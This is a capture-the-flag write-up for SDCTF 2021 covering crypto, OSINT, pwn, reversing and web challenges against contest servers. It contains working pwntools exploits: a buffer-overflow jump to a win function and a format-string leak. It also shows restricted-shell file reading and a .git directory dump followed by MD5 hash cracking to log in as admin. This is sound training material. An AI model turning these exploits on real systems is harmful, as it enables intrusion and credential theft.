SDCTF 2021

crypto

Lost in transmission

Solved by : Starry-Lord

  • We get a flag.dat file with gibberish inside.
  • Rotating 1 right showed the flag.


A prime hash candidate

Solved by : thewhiteh4t

  • We are given a hash function in this challenge which we had to reverse
  • hash initializes a variable out
  • then it iterates over every character of the password given to it
  • for every character it multiplies out by 31
  • then adds the ascii value of the character to it

Reverse :

  • first I defined a character set which contains :
    • alphabets in both cases
    • numbers
    • symbols
  • then I randomized the character set
  • the PASSWD is a long integer, python has accuracy problems with long integers so I used decimal library to set precision
  • now we don’t know which characters were processed by the hash function, we just have the output so we need to brute force each character of the actual password
  • we can get the the ascii value of the characters by using ord() function in python
  • since we are going reverse we will subtract the ascii value found from the target hash
  • in the hash function the result was being multiplied by 31, so if we have the correct character, the result of hash - ord(character) % 31 will be 0 because it will be fully divisible by 31.
  • during testing I saw that multiple characters from our character set produced 0 modulus at a certain point which hints that one password generated by our reverse function may not be correct, hence we are randomizing the character set and generating more random passwords
  • so whenever the modulus is 0 we will divide the hash by 31 eventually reducing it
  • when enough characters are found and hash reduces to 0 we pass the newly generated password into the hash function provided by the challenge to verify if it matches the challenge hash
  • if we get a correct match we send it to the server and get our flag!
#!/usr/bin/env python3

import random
import decimal
from pwn import *

PASSWD = "59784015375233083673486266"
found = False

def hash(data):
    out = 0
    for c in data:
        out *= 31
        out += ord(c)
    return str(out)

def submit(password):
    host = 'phc1.sdc.tf'
    port = 1337
    conn = remote(host, port)
    conn.send(password.encode() + '\n'.encode())
    flag = conn.recvuntil('}').decode().split('\n')[2]
    print(f'\n{flag}\n')

def plain(data):
    global found

    decimal.getcontext().prec = 100
    chars = 'aAbBcCdDeEfFgGHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ1234567890@#$%^&*()_+[]/,.-+=;"'
    tmp_lst = list(chars)
    random.shuffle(tmp_lst)
    chars = ''.join(tmp_lst)
    num = 31
    enc = decimal.Decimal(data).to_integral_exact()
    tmp = 0
    password = ''
    positive = True
    while positive:
        for char in chars:
            if tmp < 0:
                positive = False
            chr_int = ord(char)
            tmp = enc - chr_int
            rem = tmp % num
            if rem == 0:
                enc = decimal.Decimal(tmp / num).to_integral_exac()
                password += char
    password = password[::-1]
    print(f'[!] Trying : {password}')
    pass_hash = hash(password)
    if pass_hash == PASSWD:
        print('[+] Correct Password!')
        submit(password)
        found = True
    else:
        print('[-] Incorrect! Skipping...\n')
while not found:
    plain(PASSWD)

misc

No flag for you

Solved By : Taz

  • We found out that ls, cat, echo commands were available.
  • So started looking around for these.
  • Found a way to list dir using echo:
echo /*

  • started looking around for the flag and found it in the /home/user/run/opt dir
echo /home/user/run/opt/*
  • Did some research on ways to read a file using echo, and got something.
  • Reference link: https://stackoverflow.com/questions/22377792/how-to-use-echo-command-to-print-out-content-of-a-text-file
echo "$(</home/user/run/opt/flag-b01d7291b94feefa35e6.txt)"


Alternative Arithmetic

Solved By : Ava and choco

  • After connection we are given a java questions which we have to research for and solve
Question 1 :

1. Find a nonzero long x` such that `x == -x`, enter numbers only, no semicolons
  • answer for 1st question is -9223372036854775808
  • Explanation :-

    The first question given is to find long x such that x == -x Here we will need to exploit the use of 2’s compliment of binary representation of long. example: in a 4 bit representation of 1, the binary is 0001 but to represent -1, the binary will take 2’s compliment so it will be 1111 The MSB here represents the sign of the binary the limitation of 2’s compliment is that, the number that has reached the minimum negative limit (i.e. the maximum 2’s compliment value), it’s positive counter part will be the same binary value as it’s two’s compliment. Let’s take the one for 4 bit representation again, the minimum value in this will be -8, i.e, 1000 if you take +8 here, the binary will also be 1000 So we got the concept for the answer. But now, the data type is long (8 bytes) The answer must be -9223372036854775808

Question 2 :

Find 2 different `long` variables `x` and `y`, differing by at most 10, such that `Long.hashCode(x) == Long.hashCode(y)`
  • answer for 2nd question is x = -1 & y = 0
  • Explanation :-

    For the second one the given algorithm for Long.hashCode() is

    public static int hashCode(long value) {    
        return (int)(value ^ (value >>> 32));    
    }
    

    As we see here, the hash code for long compresses the value to an int from 64 bits to 32 bits. The hash values of positive long values are itself (hashcode of 8 is 8) The exploitation here is that negative numbers behaves different. let’s take -12. it’s binary representation is

    1111111111111111111111111111111111111111111111111111111111110100
    

    after it got shifted to the right by 32 bits it will be

    0000000000000000000000000000000011111111111111111111111111111111
    

    this value is xor with the original value giving

    1111111111111111111111111111111100000000000000000000000000001011
    

    when we convert it to int only the first 32 from LSBs are taken i.e.,

    00000000000000000000000000001011
    

    Hence, the Hash value of -12 will be 11 So

    Long.hashCode(i) = i for i >=0 and 
                         (-i)-1 for i < 0
    

    but the question is asking for x and y where x - y <=10

    Hence using the advance stages of arithmetic mathematics, we can take answers as

    {0,-1},{1,-2},{2,-3},{3,-4} and {4,-5} 
    

    Courtesy of https://www.devdiaries.net/blog/Java-Recruitment-Questions-HashCode/for Hashcode algorithm.

Question 3 - 

Enter a `float` value `f` that makes the following function return true
// code given along with Q3 :

boolean isLucky(float magic) {
    int iter = 0;
    for (float start = magic; start < (magic + 256); start++) {
        if ((iter++) > 2048) {
            return true;
        }
    }
    return false;
  • answer for 3rd Question is 2.14E9
  • Explanation:-

    The third question is a little tricky We need to find float value magic such that we need to break the loop The other catch is that it have to be less than 7 characters

    The trick here is that we need to exploit the precision error in java

    in java, the floating points can go upto 3.4 * 10^34 but the secret is that it will take a precision of 8 digits. i.e., if the value in decimal points is more than 8 digits. It will round them off to 8 digits itself. so for example ‘345678’ in float will be 345678.0 but if digits has reached 8 like ‘12345678’, float will save the value as 1.2345678E7 The maximum digits in float is actually 10 (1999999999) if you want to represent a number higher than that, you must make it in 2.45E10 like format

    now, for the exploit, if you add any number that is negligibly small to a float value, this will not affect the float value at all. In fact, float values can only consider changes made in the first 8 most significant digits. In other words, if converted in decimal, only the first 7 digits will be considered, rest all are static Rather, it is interesting to note that the remaining digits will face binary accuracy error (when you convert some numbers to IEEE754 and back to the number, it won’t be the same. This will be addressed in the next question)

    example for 123456789 + 1 it will be written as (1.23456792 + 0.00000001)*10^8 you see that one is negligent when converted to this form hence the answer will be 1.23456792*10^8 (binary rep error in last digits)

    now if we take 123456789 + 100 it will be written as (1.23456792 + 0.00000100)*10^8 you see that 100 falls under the 8 digit range hence the answer will be 1.23456892*10^8 We got the idea about the exploit. but keep in mind, we need to select a number such that incrementing it will not affect the value but adding 256 to it should So we can discard numbers that are 7 digits or less since incrementing it affects the value Also we can discard numbers that are 10 digits or above since adding 256 won’t affect the value

    Hence, we can only take numbers are that 8 and 9 digits long.

    The question says, we can only use 7 characters or less.

    We can simply represent the float value as 1.0E8 too

    hence, the answer is within the range of 1E8 to 9.999E9

Alternative Arithmetic (Final Flag)

Solved By : nigamelastic and choco

  • I will use the following to run this java compiler to run my code online.

  • on connecting we see the first question which is:

4th question :

Enter 3 `String` values `s1`, `s2`, and `s3` such that:
new BigDecimal(s1).add(new BigDecimal(s2)).compareTo(new BigDecimal(s3)) == 0

but

Double.parseDouble(s1) + Double.parseDouble(s2) != Double.parseDouble(s3)
Do not enter quotation marks.
  • answer 4 worked but very stupidly: i will paste my inputs and outputs and you just see :

First attempt

Do not enter quotation marks.
s1 = 0.004
s2 = -0.003
s3 = 0.001
Sorry, your answer is not correct. Try something else next time.

Second attempt

s1 = 20000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000004
s2 = -10000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000003
s3 = 10000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000001
Sorry, your answer is not correct. Try something else next time.

Third attempt

s1 = 0.04
s2 = -0.03
s3 = 0.01
Perfect! You are correct.
  • credits to choco, who guided me, and after our discussion we realised for some reason 0.04 is working but 0.004 isn’t choco also pointed out this amazing link https://docs.oracle.com/cd/E19957-01/806-3568/ncg_goldberg.html

  • finally we discussed and realized the following :

  • according to double : ```bash 0.003 will be represented as 3.00000000000000006245004513517E-3 0.004 will be represented as 4.00000000000000008326672684689E-3 0.02 will be represented as 2.00000000000000004163336342344E-2

but

0.03 will be represented 2.99999999999999988897769753748E-2


* after this stupidity we finally get the 5th and final option:

  1. Final question! [🎶BOSS MUSIC🎶]

Fill in , , below:

```java
var i = (<type>) <num1>; var j = (<type>) <num2>;
such that after running the code above, the following expression:
i < j || i == j || i > j
evaluates to `false`.

<num1> and <num2> are Java code that satisfies this regex: [0-9]*\.?[0-9]*
  • which is very easy , I remember it from my college days
  • its Integer 128
  • this is due to the integer cache limits
  • the following link would be a better explanation
  • https://www.programmersought.com/article/91462031238/

OSINT

Speed-Studying

Solved By : Taz

  • searched: UCSD faculty CSE ( https://cse.ucsd.edu/faculty-research )
  • UCSD faculty mathematics ( https://www.math.ucsd.edu/people/faculty/ )
  • in the CSE got into Algorithm, cryptography etc as it’s most linked to math and got
    https://cstheory.ucsd.edu/faculty.html
  • now looked for the common name in both and came across this profile: https://www.math.ucsd.edu/people/profiles/daniel-kane/

  • Description here confirmed our target.

FLAG: Daniel Kane


hIDe and seek

Solved By : Taz

  • we are given two locations :
    First : ?v=hqXOIZtRYZU
    
  • it looks like part of a youtube link
  • link: https://www.youtube.com/watch?v=hqXOIZtRYZU
  • here he dictates the 1st part of the flag.
     Second : qFHIm0c.jpeg
    
  • it’s an image so I first looked into the most used online image sharing platform imgur
  • Link: https://i.imgur.com/qFHIm0c.jpeg
  • here we have the 2nd part of the flag.
    sdctf{W0w_1_h4D_n0_ID3a!}
    

hIDe and seek 2

Solved By : Ava and nigamelastic

  • I’ve gotten some more good intel. Apparently, the following information is the location of another flag!
First piece of info : gg/4KcDWnUYMs

Second piece of info : 810237829564727312-810359639975526490
  • the first piece is obviously discord:
  • on opening the channel we see

sdctf{m@st3R_h@Ck3R_9999}
  • which seems to be flag format, I am guessing that starts with 1 till 9999.

Rabbit Hole

The second part is obviously a unix time stamp:

810237829564727312 is Mon 4 September 1995 18:03:49.564 UTC

and

810359639975526490 is Wed 6 September 1995 03:53:59.975 UTC
  • my guess was to check the chats between the times mentioned, but they aren’t matching

  • sdctf{m@st3R_h@Ck3R_1995} –> randomly tried its incorrect

  • however thanks to Ava we found it was a rabbit hole! below is the correct way to solve it.

  • The numbers actually specify the discord links
  • usually the discord message links are something like this : https://discord.com/channels/675369276403744776/782835136654737429/840472812690210826

  • there are three numbers, i am just taking guess :
    • first number is for server
    • second seems for the channel
    • third seems for message
  • we copy link for any message from the server we found and replace the last two numbers with the one given to us in the challenge
  • https://discord.com/channels/810237829564727308/810237829564727312/810359639975526490
  • boom, we get the right message
sdctf{m@st3R_h@Ck3R_4807}

This flag has been stolen:

Solved By : nigamelastic

  • the flag is here : https://web.archive.org/web/20210130094941/https://sdc.tf/

Speed-Studying 2 :

Solved By : Ava

  • Simply googling for skyline problem ucsd
  • we get this link for PDF : https://cseweb.ucsd.edu/~dakane/CSE101%20Problem%20Archive/F18/Homework3.pdf

  • at the bottom we have our flag
sdctf{N1ce_d0rKiNG_C@pt41N}

pwn

Flag Dropper

Solved by Taz and thewhiteh4t

  • After loading the binary in GDB we can list the functions
    info functions
    

  • here we can see that we have a win function
  • win function disassembled :
gdb-peda$ disas win
Dump of assembler code for function win:
   0x00000000004005da <+0>:	mov    eax,0x0
   0x00000000004005df <+5>:	lea    rsi,ds:0x60109d
   0x00000000004005e7 <+13>:	lea    rdi,ds:0x601094
   0x00000000004005ef <+21>:	call   0x400440 <fopen@plt>
   0x00000000004005f4 <+26>:	mov    rdx,rax
   0x00000000004005f7 <+29>:	mov    eax,0x0
   0x00000000004005fc <+34>:	movabs rdi,0x601124
   0x0000000000400606 <+44>:	mov    esi,0x16
   0x000000000040060b <+49>:	call   0x400430 <fgets@plt>
   0x0000000000400610 <+54>:	mov    edi,0x1
   0x0000000000400615 <+59>:	mov    eax,0x1
   0x000000000040061a <+64>:	mov    edx,0x16
   0x000000000040061f <+69>:	syscall
   0x0000000000400621 <+71>:	jmp    0x4005d0 <_exit>
   0x0000000000400623 <+73>:	nop    WORD PTR cs:[rax+rax*1+0x0]
   0x000000000040062d <+83>:	nop    DWORD PTR [rax]
End of assembler dump.
  • it is opening and reading some file
  • now lets run the binary in GDB with a breakpoint in main

  • after some instructions we can see flag.txt
  • I created a file named flag.txt with a fake flag inside it
  • now I tried to execute the win function I found earlier

  • great so win function is opening flag.txt and printing the flag
  • now I looked for something which can execute the win function

  • we can see in the code section :
<main+142>: jmp QWORD PTR [rax]
  • jmp is used for changing the flow of the programing , that means if we can provide the start address of win function to jmp it will execute it for us

  • I found the offset at 73

  • Now lets find the start address of win function
gdb-peda$ print win
$1 = {<text variable, no debug info>} 0x4005da <win>
  • Testing the offset in GDB :
# Payload
python -c "print('A' * 73 + 'BBBBBBBB')"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB

  • we have a small problem here, it seems like one of the A is extra so the offset should be 72 instead of 73

  • Testing the new offset using pwntools with start address of win function :

#!usr/bin/env python3

from pwn import *

offset = 72
addr = 0x4005da # Start address of win function

junk = b'A' * 72
le_num = p64(addr) # converted to little endian
buffer = junk + le_num 

elf = ELF('./flagDropper')
p = elf.process()
p.send(buffer)
out = p.recvall()
print(out)

  • the script above runs the binary locally and sends our payload, here is the output :

  • It works!, now I created a new script to send the payload on the server
#!/usr/bin/env python3
    
from pwn import *
    
host = 'dropper.sdc.tf'
port = 1337
offset = 72
addr = 0x4005da # address of win function
    
junk = b'A' * offset
le_num = p64(addr)
    
buffer = junk + le_num
conn = remote(host, port)
conn.send(buffer)
flag = conn.recvuntil('}').decode()
print(f'\nFLAG : {flag}\n')
conn.close()

OUTPUT :


printFailed

Solved By : thewhiteh4t

  • Right from the start we get a segfault on this binary
./printFailed
zsh: segmentation fault (core dumped)  ./printFailed
  • Let’s investigate in GDB

  • It’s trying to open flag.txt but it does not exist, I created the file and relaunched the binary and it works now
./printFailed
can you guess the scrambled flag?
yes
you guessed:
yes
wrong
  • It prints the input, let’s look into GDB again
  • A scramble function is called soon after the file is read
  • Here we can see the scrambled flag :

"tedug|g5l4`gm5h~\v", '\001' <repeats 22 times>
  • this looks familiar
tedug|g5l4`gm5h~\v
sdctf{f4k3_fl4g}
  • so the input is shifted by 1 character!
  • let’s try to input the scrambled flag in the local binary
#!/usr/bin/env python3

from pwn import *

elf = ELF('./printFailed')

guess = b'tedug|g5l4`gm5h~\v' + b'\001' * 22

p = elf.process()
p.send(guess)
out = p.recv(4096)
print(out)

  • the scrambled flag works!
  • but now the issue is that we don’t know the actual flag so we cannot make a scrambled flag
  • earlier we saw that the binary prints the input, this hints at format string exploit
  • this article helped a lot in figuring out the way forward
  • https://nikhilh20.medium.com/format-string-exploit-ccefad8fd66b
  • https://man7.org/linux/man-pages/man3/printf.3.html
%s   -> string
%2$s -> 2nd argument
%3$s -> 3rd argument
  • I tried them one by one and %4$s leaks the scrambled flag!

  • Here is the final script and output :
#!/usr/bin/env python3

from pwn import *

host = 'printf.sdc.tf'
port = 1337

payload = b'%4$s'

conn = remote(host, port)
conn.send(payload + b'\n')
res = conn.recv(4096).decode().split('\n')[2]
conn.close()

print(res)

for char in res:
    print(chr(ord(char) - 1), end='')

OUTPUT :

revenge

A bowl of pythons

Solved by : thewhiteh4t

  • In this challenge we just had to understand what the code is doing and make a reverse function for it
  • our flag is in this line of code :
if __name__ == "__main__":
    e(b't2q}*\x7f&n[5V\xb42a\x7f3\xac\x87\xe6\xb4')
  • there are two conditions in function e :
    • first condition checks if the first 6 characters of the input are sdctf{ or not
    • second condition checks if the last character is }
  • then e function stores the content inside {} in a variable g
  • then a XOR operation is performed on each character present in g
  • the reverse of XOR is XOR
  • so I just created a solve function to perform XOR on the encoded flag string
#! /usr/bin/env python3

FLAG = 'sdctf{a_v3ry_s3cur3_w4y_t0_st0r3_ur_FLAG}' # lol

a = lambda n: a(n-2) + a(n-1) if n >= 2 else (2 if n == 0 else 1)
b = lambda x: bytes.fromhex(x).decode()
h = eval(b('7072696e74')) # print

def d():
    print('Incorrect flag! You need to hack deeper...')
    eval(__import__("sys").exit(1))
    h(FLAG)

def e(f):
    h("Welcome to SDCTF's the first Reverse Engineering challenge.")

    c = input("Input the correct flag: ")
    if c[:6].encode().hex() != '{2}3{0}{1}{0}3{2}{1}{0}{0}{2}b'.format(*map(str, [6, 4, 7])): # check if matches sdctf{
        d()
    if c[int(chr(45) + chr(49))] != chr(125): #check if ends with }
        d()
    g = c[6:-1].encode() # content inside {}
    if bytes( (g[i] ^ (a(i) & 0xff) for i in range(len(g))) ) != f:
        d()
    print('Nice job. You got the correct flag!')

def solve(f):
    flag = ''
    for i in range(len(f)):
        res = f[i] ^ (a(i) & 0xff)
        char = chr(res)
        flag += char
    print(flag)

if __name__ == "__main__":
    #e(b't2q}*\x7f&n[5V\xb42a\x7f3\xac\x87\xe6\xb4')
    solve(b't2q}*\x7f&n[5V\xb42a\x7f3\xac\x87\xe6\xb4')
else:
    eval(__import__("sys").exit(0))

OUTPUT :

v3ry-t4sty-sph4g3tt1

web

Apollo 1337

Solved By : Nigamelastic and thewhiteh4t

<script id="__NEXT_DATA__" type="application/json">
    {
        "props": {"pageProps":{}},
        "page":"/",
        "query":{},
        "buildId":"QQvgkUHNyaIn68Led0yAi",
        "nextExport":true,
        "autoExport":true,
        "isFallback":false
    }
</script>
  • on performing a GET request with :
{
    "GET":{
        "scheme":"https",
        "host":"space.sdc.tf",
        "filename":"/api/status",
        "remote":{
            "Address":"172.67.178.219:443"
        }
    }
}
  • we get a response
{
    "status":"health",
    "longStatus":"Healthy. All routes are functioning properly.",
    "version":"1.0.0"
}
  • only playing around i see three endpoints
{
    "status":"health",
    "longStatus":"Healthy. All routes are functioning properly.",
    "version":"1.0.0",
    "routes":[
        {
            "path":"/status",
            "status":"healthy"
        },
        {
            "path":"/rocketLaunch",
            "status":"healthy"
        },
        {
            "path":"/fuel",
            "status":"healthy"
        }
    ]
}
  • hitting the /fuel endpoint we get
[
    {
        "name":"west1 pump",
        "id":0
    },
    {
        "name":"east1 pump",
        "id":1
    },
    {
        "name":"south1 pump",
        "id":2
    },
    {
        "name":"north1 pump",
        "id":3
    },
    {
        "name":"west2 pump",
        "id":4
    },
    {
        "name":"lil pump",
        "id":5
    }
]
  • hitting /rocketLaunch with a simple GET request
request body must be json
  • But since we have to launch the rocket we can assume that we need to POST something to the endpoint
  • One of the first few things that come to mind is the launch keyword
  • we know that endpoint expects a JSON body
  • we first sent :
{
    "launch":true
}

  • we get the above response, lets specify a random rocket name since we dont know the rocket name

  • endpoint tell us that triton is available

  • now we need a launch time but we don’t know what format it expects so we tried to make it tell us again

  • after sending time in correct format we get this

  • we can get a list of pumps and their IDs from /fuel endpoint

  • interesting, now it wants a token, so we looked into the page source, we did not find anything so we started looking into the JS files of the web app and we found the token

  • after sending the token we get our flag!


GETS Request

Solved By : thewhiteh4t

  • The challenge hints at memory issues
  • we can enter an integer and the web app sends a reply
  • there are few checks which the web app makes:
if(!req.query.n) {
    res.status(400).send('Missing required parameter n');
    return;
}
  • so n cannot be blank
const BUFFER_SIZE = 8;

if(req.query.n.length > BUFFER_SIZE) {
    res.status(400).send('Requested n too large!');
    return;
}
  • so max length of n can be 8
  • the web app does not check for duplicate parameters, so we can send another n along with the first


Git Good

Solved By : thewhiteh4t

  • Robots reveal an admin page and .git directory

  • I used a very useful tool which helps to dump file contents of websites which use GIT version control system
  • https://github.com/internetwache/GitTools

  • .git directory dumped :

  • now we can use extractor to get files from the dump

  • I found 2 users.db files, both are sqlite3 databases
  • one contains bcrypt hashes and other one contains md5 hashes
  • I cracked md5 hashes first because they take less time

  • one valid credential found :
aaron@cgau.sdc.tf : weakpassword
  • login on admin.html and we get the flag